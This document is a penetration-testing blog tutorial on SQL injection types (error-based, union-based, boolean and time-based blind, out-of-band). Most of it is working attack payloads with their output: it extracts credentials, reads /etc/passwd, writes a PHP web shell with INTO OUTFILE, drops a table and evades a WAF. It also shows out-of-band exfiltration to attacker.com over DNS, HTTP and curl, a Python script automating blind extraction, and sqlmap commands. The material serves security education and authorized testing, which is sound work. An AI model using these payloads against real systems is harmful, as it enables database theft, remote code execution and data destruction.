
Master all SQL injection types: error-based, union-based, blind (boolean & time-based), and out-of-band. Complete guide with code examples, comparison table, and detection strategies for pene
12 min read
Master Linux binary exploitation from stack-based buffer overflows through return-oriented programming (ROP) chains to bypassing ASLR, NX, and stack canaries — with tested C harnesses, GDB/pw
6 min read
SQL injection remains one of the most critical web application vulnerabilities, consistently featured in the OWASP Top 10 Web Application Security Guide. While you may understand what SQL injection is, knowing the different sql injection types is crucial for effective penetration testing and security assessment.
Each SQL injection type exploits web application vulnerabilities differently, requires unique detection methods, and demands specific exploitation techniques. Whether you're conducting a security audit, practicing in DVWA, or preparing for real-world penetration testing, understanding when and how to use each type will dramatically improve your testing efficiency.
In this comprehensive guide, we'll explore:
By the end of this article, you'll know exactly which SQL injection attack type to use in any scenario, complete with practical code examples and a decision framework.
SQL injection types are different techniques used to exploit SQL injection vulnerabilities based on how the application processes user input and returns data. The choice of technique depends on:
Let's dive deep into each SQL injection type with practical examples.
Error-based SQL injection is a technique where an attacker forces the database to generate error messages that reveal sensitive information about the database structure, data, or configuration. This is one of the easiest SQL injection types to exploit when database errors are displayed to the user.
When a web application doesn't properly handle database errors, attackers can craft malicious SQL queries that:
Vulnerable Code (PHP):
<?php
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
?>
Normal Request:
GET /user.php?id=1 HTTP/1.1
SQL Injection Attack - Basic Error Detection:
-- Test for vulnerability
GET /user.php?id=1' HTTP/1.1
-- Database Error Response:
You have an error in your SQL syntax near ''1''' at line 1
SQL Injection Attack - Data Extraction (MySQL):
-- Extract database version
GET /user.php?id=1 AND extractvalue(1, concat(0x7e, version())) HTTP/1.1
-- Error message reveals:
XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'
SQL Injection Attack - Extract Table Names:
-- Retrieve first table name
id=1 AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))
-- Error reveals: ~users
SQL Injection Attack - Extract Data:
-- Extract username and password
id=1 AND extractvalue(1, concat(0x7e, (SELECT concat(username,':',password) FROM users LIMIT 0,1)))
-- Error reveals: ~admin:5f4dcc3b5aa765d61d8327deb882cf99
MySQL:
extractvalue()updatexml()ST_LatFromGeoHash()ST_PointFromGeoHash()PostgreSQL:
CAST() with invalid conversions:: casting operatorsMicrosoft SQL Server:
convert() with incompatible typesCAST() operations✅ Use error-based SQLi when:
❌ Avoid error-based SQLi when:
Union-based SQL injection uses the SQL UNION operator to combine the results of the original query with results from an injected query. This is one of the most powerful and fastest SQL injection types when the application displays query results directly on the page.
For a comprehensive deep dive, see our Union-Based SQL Injection Guide.
The UNION operator allows combining results from multiple SELECT statements, but requires:
Vulnerable Application:
<?php
$id = $_GET['id'];
$query = "SELECT id, name, email FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
while($row = mysqli_fetch_assoc($result)) {
echo "Name: " . $row['name'] . "<br>";
echo "Email: " . $row['email'] . "<br>";
}
?>
Normal Request:
GET /user.php?id=1
-- Executes: SELECT id, name, email FROM users WHERE id = 1
-- Output: Name: Admin, Email: admin@example.com
Step 1: Determine Number of Columns
-- Test with ORDER BY
id=1 ORDER BY 1--
id=1 ORDER BY 2--
id=1 ORDER BY 3--
id=1 ORDER BY 4-- (Error! Only 3 columns)
Step 2: Find Injectable Columns
id=1 UNION SELECT 1,2,3--
-- Output shows which column numbers appear on page:
Name: 2
Email: 3
Step 3: Extract Database Information
-- Get database name and user
id=-1 UNION SELECT 1, database(), user()--
-- Output:
Name: vulnerable_db
Email: root@localhost
Step 4: Extract Table Names
id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()--
-- Output:
Name: users
Name: admin_accounts
Name: credit_cards
Step 5: Extract Column Names
id=-1 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='admin_accounts'--
-- Output:
Name: id
Name: username
Name: password_hash
Name: api_key
Step 6: Extract Sensitive Data
id=-1 UNION SELECT 1, username, password_hash FROM admin_accounts--
-- Output:
Name: admin
Email: $2y$10$abcdefgh...
Advanced: Extract Multiple Rows
-- Concatenate multiple records
id=-1 UNION SELECT 1, GROUP_CONCAT(username), GROUP_CONCAT(password_hash) FROM admin_accounts--
-- Output:
Name: admin,user1,user2
Email: hash1,hash2,hash3
Null Technique (for type compatibility):
id=-1 UNION SELECT NULL, NULL, NULL--
id=-1 UNION SELECT 'a', NULL, NULL-- (Test which columns accept strings)
File Reading (MySQL):
id=-1 UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--
File Writing (MySQL with FILE privilege):
id=-1 UNION SELECT 1, '<?php system($_GET["cmd"]); ?>', 3 INTO OUTFILE '/var/www/html/shell.php'--
✅ Use union-based SQLi when:
❌ Avoid union-based SQLi when:
UNION keywordBlind SQL injection occurs when an application is vulnerable to SQL injection but doesn't display database errors or query results. Boolean-based blind SQL injection exploits differences in application behavior based on whether injected SQL conditions evaluate to TRUE or FALSE.
For advanced blind SQL injection techniques, see our complete Blind SQL Injection Guide.
Attackers can infer data by:
Vulnerable Application:
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id AND status='published'";
$result = mysqli_query($conn, $query);
if(mysqli_num_rows($result) > 0) {
echo "Product found";
} else {
echo "Product not found";
}
?>
Step 1: Confirm Vulnerability
-- TRUE condition (product exists)
id=1 AND 1=1--
-- Output: "Product found"
-- FALSE condition
id=1 AND 1=2--
-- Output: "Product not found"
Step 2: Test Boolean Conditions
-- Check if database name starts with 'v'
id=1 AND SUBSTRING(database(),1,1)='v'--
-- Output: "Product found" → TRUE
-- Check if database name starts with 'x'
id=1 AND SUBSTRING(database(),1,1)='x'--
-- Output: "Product not found" → FALSE
Step 3: Extract Database Name Character-by-Character
-- Extract first character
id=1 AND ASCII(SUBSTRING(database(),1,1))=118-- (v = 118)
-- TRUE → First character is 'v'
-- Extract second character
id=1 AND ASCII(SUBSTRING(database(),2,1))=117-- (u = 117)
-- TRUE → Second character is 'u'
-- Extract third character
id=1 AND ASCII(SUBSTRING(database(),3,1))=108-- (l = 108)
-- TRUE → Third character is 'l'
-- Result: "vul..." (vulnerable)
Step 4: Extract Table Names
-- Check if 'users' table exists
id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND table_name='users')=1--
-- TRUE → 'users' table exists
Step 5: Extract Username Length
-- Check length of first username
id=1 AND (SELECT LENGTH(username) FROM users LIMIT 0,1)=5--
-- TRUE → Username is 5 characters long
Step 6: Extract Username Character-by-Character
-- Extract first character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))=97-- (a)
-- Extract second character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),2,1))=100-- (d)
-- Extract third character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),3,1))=109-- (m)
-- Extract fourth character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),4,1))=105-- (i)
-- Extract fifth character
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),5,1))=110-- (n)
-- Result: "admin"
Binary Search Method (faster):
-- Instead of testing ASCII 97,98,99...122
-- Use binary search: is it > 109? > 122? etc.
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>109--
-- TRUE → character is in range 110-122
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>116--
-- FALSE → character is in range 110-116
id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>113--
-- TRUE → character is in range 114-116
-- Continue until exact value found
Automated Tools:
sqlmap -u "http://target.com/page.php?id=1" --technique=B✅ Use boolean-based blind SQLi when:
❌ Avoid boolean-based blind SQLi when:
Time-based blind SQL injection is used when the application doesn't display errors, query results, or have any observable differences in behavior. Instead, attackers measure the time delay in responses to infer whether injected conditions are TRUE or FALSE.
Attackers use database functions that cause intentional delays:
Vulnerable Application:
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
// No output, no errors, no observable difference
?>
Step 1: Confirm Vulnerability
-- MySQL: Sleep for 5 seconds if TRUE
id=1 AND SLEEP(5)--
-- Response time: ~5 seconds → Vulnerable!
-- PostgreSQL
id=1 AND pg_sleep(5)--
-- Microsoft SQL Server
id=1; WAITFOR DELAY '00:00:05'--
Step 2: Test Conditional Delays
-- If database starts with 'v', sleep 5 seconds
id=1 AND IF(SUBSTRING(database(),1,1)='v', SLEEP(5), 0)--
-- Response time: ~5 seconds → TRUE (database starts with 'v')
id=1 AND IF(SUBSTRING(database(),1,1)='x', SLEEP(5), 0)--
-- Response time: <1 second → FALSE
Step 3: Extract Data Character-by-Character
-- Extract database name character by character
-- First character
id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=118, SLEEP(5), 0)-- (v=118)
-- Delay detected → TRUE
-- Second character
id=1 AND IF(ASCII(SUBSTRING(database(),2,1))=117, SLEEP(5), 0)-- (u=117)
-- Delay detected → TRUE
-- Third character
id=1 AND IF(ASCII(SUBSTRING(database(),3,1))=108, SLEEP(5), 0)-- (l=108)
-- Delay detected → TRUE
Step 4: Extract Username from Database
-- Check if admin user exists (5 second delay if true)
id=1 AND IF((SELECT COUNT(*) FROM users WHERE username='admin')=1, SLEEP(5), 0)--
-- Delay detected → Admin user exists
-- Extract admin password length
id=1 AND IF((SELECT LENGTH(password) FROM users WHERE username='admin')=32, SLEEP(5), 0)--
-- Delay detected → Password is 32 characters (MD5 hash)
-- Extract first character of password
id=1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=53, SLEEP(5), 0)-- (5)
-- Delay detected → First character is '5'
MySQL / MariaDB:
SLEEP(seconds)
BENCHMARK(count, expression) -- CPU-intensive delay
PostgreSQL:
pg_sleep(seconds)
pg_sleep_for('5 seconds')
pg_sleep_until('timestamp')
Microsoft SQL Server:
WAITFOR DELAY '00:00:05' -- 5 second delay
WAITFOR TIME '14:30:00' -- Wait until specific time
Oracle:
DBMS_LOCK.SLEEP(seconds)
DBMS_PIPE.RECEIVE_MESSAGE('anything', seconds)
SQLite:
-- No built-in sleep, use heavy computation
randombLob(100000000) -- Causes processing delay
Binary Search with Delays:
-- More efficient than testing every ASCII value
id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>109, SLEEP(3), 0)--
Parallel Requests (faster extraction):
Example Python Script Structure:
import requests
import time
def check_char(position, ascii_value):
url = f"http://target.com/page.php?id=1 AND IF(ASCII(SUBSTRING(database(),{position},1))={ascii_value}, SLEEP(3), 0)--"
start = time.time()
requests.get(url)
duration = time.time() - start
return duration > 2.5 # TRUE if delayed
# Extract database name
db_name = ""
for pos in range(1, 20):
for ascii_val in range(97, 123): # a-z
if check_char(pos, ascii_val):
db_name += chr(ascii_val)
break
else:
break # No more characters
print(f"Database: {db_name}")
✅ Use time-based blind SQLi when:
❌ Avoid time-based blind SQLi when:
Out-of-band (OOB) SQL injection uses alternative channels to extract data when in-band techniques fail. Instead of receiving data through the same HTTP channel, attackers force the database to send data via DNS queries, HTTP requests, or SMB connections to an attacker-controlled server.
OOB SQLi typically requires:
Prerequisites:
LOAD_FILE(), UTL_HTTP, etc.MySQL Out-of-Band via DNS (Windows only):
-- Extract data via DNS query
id=1 AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker.com\\share'))--
-- DNS query generated:
-- vulnerable_db.attacker.com
-- Extract username
id=1 AND LOAD_FILE(CONCAT('\\\\',(SELECT username FROM users LIMIT 0,1),'.attacker.com\\share'))--
-- DNS query: admin.attacker.com
Microsoft SQL Server Out-of-Band:
-- Using xp_dirtree to trigger DNS request
id=1; DECLARE @data varchar(1024); SELECT @data=(SELECT TOP 1 username FROM users); EXEC('master..xp_dirtree "\\\\'+@data+'.attacker.com\\share"')--
-- Using OPENROWSET for HTTP exfiltration
id=1; EXEC('SELECT * FROM OPENROWSET(''SQLOLEDB'', ''Network=DBMSSOCN;Address=attacker.com,80;uid=sa;pwd=pass'', ''SELECT 1'')')--
Oracle Out-of-Band:
-- Using UTL_HTTP package
id=1 AND UTL_HTTP.request('http://attacker.com:80/'||(SELECT username FROM users WHERE ROWNUM=1))=1--
-- Request received at attacker.com:
-- GET /admin HTTP/1.1
-- Using UTL_INADDR for DNS
id=1 AND UTL_INADDR.get_host_address((SELECT username FROM users WHERE ROWNUM=1)||'.attacker.com')=1--
-- DNS query: admin.attacker.com
PostgreSQL Out-of-Band:
-- Using COPY TO PROGRAM (requires superuser)
id=1; COPY (SELECT username FROM users) TO PROGRAM 'curl http://attacker.com/?data='--
-- Using dblink extension
id=1; SELECT dblink_connect('host=attacker.com user=test password=test dbname=test')--
Setting Up DNS Logger:
# Option 1: Use Burp Collaborator (professional)
# Generate subdomain: abc123.burpcollaborator.net
# Option 2: Use interact.sh (free)
curl -X POST https://interact.sh
# Returns: c1234567.interact.sh
# Option 3: Set up your own DNS server
sudo tcpdump -i eth0 -n udp port 53
Exfiltrate Data via DNS Subdomain:
-- Each DNS query can contain ~63 chars per label
-- Split long data across multiple requests
-- MySQL (Windows)
id=1 AND LOAD_FILE(CONCAT('\\\\',(SELECT SUBSTRING(password,1,32) FROM users WHERE username='admin'),'.c1234567.interact.sh\\x'))--
-- Captured DNS query:
-- 5f4dcc3b5aa765d61d8327deb882cf99.c1234567.interact.sh
✅ Use OOB SQLi when:
❌ Avoid OOB SQLi when:
| Injection Type | Difficulty | Speed | Detection Method | Data Extraction | Requirements | Best Tools |
|---|---|---|---|---|---|---|
| Error-Based | Easy | Fast | Database errors visible | Error messages | Errors displayed | SQLMap, Manual |
| Union-Based | Medium | Very Fast | Query results visible | Direct in response | Results displayed | SQLMap, Manual |
| Boolean Blind | Medium-Hard | Medium | Response differences | Character-by-character | Observable differences | SQLMap, Python scripts |
| Time-Based Blind | Hard | Very Slow | Response timing | Character-by-character | Stable network | SQLMap (slow), Custom scripts |
| Out-of-Band | Hard | Medium | External requests | DNS/HTTP exfiltration | DB privileges, outbound access | Burp Collaborator, Custom server |
Stealth & Detection Avoidance:
Data Extraction Volume:
Payload Complexity:
WAF Evasion Difficulty:
Follow this systematic approach to choose the optimal SQL injection technique:
-- Send malformed input
id=1'
id=1"
id=1`
✅ If database errors appear → Use Error-Based SQL Injection
❌ If no errors → Continue to Step 2
-- Test with UNION
id=1 UNION SELECT 1,2,3--
id=-1 UNION SELECT NULL,NULL,NULL--
✅ If you see injected values (1,2,3) → Use Union-Based SQL Injection
❌ If no results shown → Continue to Step 3
-- TRUE condition
id=1 AND 1=1--
-- FALSE condition
id=1 AND 1=2--
✅ If page content/behavior differs → Use Boolean-Based Blind SQL Injection
❌ If no observable difference → Continue to Step 4
-- MySQL
id=1 AND SLEEP(5)--
-- Response time > 5 seconds?
✅ If significant delay observed → Use Time-Based Blind SQL Injection
❌ If timeouts or unreliable → Continue to Step 5
-- Test DNS exfiltration capability
id=1 AND LOAD_FILE('\\\\your-domain.com\\x')--
✅ If DNS queries received → Use Out-of-Band SQL Injection
❌ If all techniques fail → Application may not be vulnerable or has strong protection
Scenario 1: Public-Facing Web Application
Scenario 2: API Endpoints
Scenario 3: Heavy WAF Protection
Scenario 4: Internal Applications
Scenario 5: Blind with No Time Response
Is SQLi confirmed? (Basic tests)
↓ YES
Do errors display?
↓ YES → ERROR-BASED
↓ NO
Are results shown?
↓ YES → UNION-BASED
↓ NO
Different TRUE/FALSE responses?
↓ YES → BOOLEAN BLIND
↓ NO
Stable network for timing?
↓ YES → TIME-BASED BLIND
↓ NO
Can database make external requests?
↓ YES → OUT-OF-BAND
↓ NO
→ Advanced evasion or not vulnerable
Test specific injection types:
# Error-based only
sqlmap -u "http://target.com/page.php?id=1" --technique=E
# Union-based only
sqlmap -u "http://target.com/page.php?id=1" --technique=U
# Boolean blind
sqlmap -u "http://target.com/page.php?id=1" --technique=B
# Time-based blind
sqlmap -u "http://target.com/page.php?id=1" --technique=T
# Stack queries (for OOB)
sqlmap -u "http://target.com/page.php?id=1" --technique=S
# All techniques
sqlmap -u "http://target.com/page.php?id=1" --technique=BEUTS
Burp Suite:
Custom Python Scripts:
NoSQLMap:
Havij, SQLNinja, jSQL Injection:
Error-based SQL injection is the easiest type to exploit because:
extractvalue() or updatexml()However, error-based SQLi only works when applications display database error messages, which is less common in production environments.
Blind SQL injection is a category that includes two subtypes:
Time-based is used when boolean-based doesn't work because there's no observable difference in application responses.
Time-based SQL injection is very slow:
Optimizations:
Yes! Stacked queries allow combining multiple SQL statements:
-- Union + Error-based
id=-1 UNION SELECT 1, extractvalue(1, concat(0x7e, database())), 3--
-- Boolean + Time-based (for confirmation)
id=1 AND IF((SELECT COUNT(*) FROM users)>5, SLEEP(3), 0)--
-- Union + File read/write
id=-1 UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3--
id=-1 UNION SELECT 1, 'shell code', 3 INTO OUTFILE '/var/www/shell.php'--
Some databases (PostgreSQL, MS SQL Server) support true stacked queries:
id=1; DROP TABLE users-- (Two separate queries)
Time-based blind SQL injection is hardest to detect because:
SLEEP, IF)UNION, SELECT, information_schema)Example WAF-evasion time-based payload:
-- Standard (easily blocked)
id=1 AND SLEEP(5)--
-- Obfuscated (harder to detect)
id=1 AND IF(1=1, BENCHMARK(5000000, MD5('a')), 0)--
id=1 AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION ... repeat 5000 times))--
Boolean blind is second-best for evasion.
Now that you understand all major SQL injection types, here's your learning path:
After mastering the basics, explore:
Understanding SQL injection types is essential for effective penetration testing and application security assessment. Each type—error-based, union-based, boolean blind, time-based blind, and out-of-band—has specific use cases, advantages, and limitations.
Key Takeaways:
✅ Error-based SQLi is fastest when errors are displayed
✅ Union-based SQLi extracts bulk data when results are shown
✅ Boolean blind SQLi works when TRUE/FALSE responses differ
✅ Time-based blind SQLi is the fallback when nothing else works
✅ Out-of-band SQLi uses alternative channels when in-band fails
Always follow a systematic approach: test for errors first, then try union-based, fall back to blind techniques if needed, and only use time-based or OOB as last resorts.
Remember: Always practice on authorized systems only. Use platforms like DVWA, HackTheBox, TryHackMe, or your own lab environments for legal SQL injection practice.
Ready to continue your SQL injection mastery? Check out our SQL Injection Tutorial with DVWA for hands-on practice with all the techniques covered in this guide.
About the Author: Syed Abrar (Andrax Pentester) is a cybersecurity researcher and penetration tester specializing in web application security. Follow our latest security research and tutorials at AndraxPentester.in.
Related Articles:
Last updated: 2025 | Category: SQL Injection | Tags: web security, penetration testing, OWASP, ethical hacking
An exhaustive analysis of 5,308 Model Context Protocol (MCP) servers, introducing the mcpgrade-1.4.0 assessment framework and remediation blueprint.
4 min read